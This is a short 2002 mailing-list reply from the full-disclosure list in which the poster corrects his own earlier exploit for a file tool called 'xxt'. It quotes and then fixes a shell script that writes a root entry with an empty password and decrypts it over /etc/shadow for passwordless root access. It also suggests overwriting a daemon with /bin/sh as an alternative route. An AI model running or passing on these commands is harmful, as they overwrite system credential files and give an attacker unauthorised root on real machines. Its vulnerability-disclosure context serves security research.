full-disclosure - Re: oops

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Message-ID: <Pine.LNX.4.44.0208280209120.12566-100000@clarity.local>
From: zen-parse at gmx.net (zen-parse)
Subject: Re: oops

On Wed, 28 Aug 2002, zen-parse wrote:

> #!/bin/sh
> echo root::11679:0:99999:7::: >inp
> ./xxt -i inp -k woot -e
> ./xxt -i inp -k woot -d -x -o /etc/shadow

oops
./xxt -i inp.xxt -k woot -d -x -o /etc/shadow

probably be better to overwrite some daemon with /bin/sh 
and connect,or something like that.

damn... see what happens in the rush for immediate full-disclosure?

better to do it responsibly, make sure you have the facts right,
and probably be better not to post the exploit to a public forum
straight away...

aliver: 

eventually i got it though.

your help page is wrong about either the -u option, or the example code 
too..

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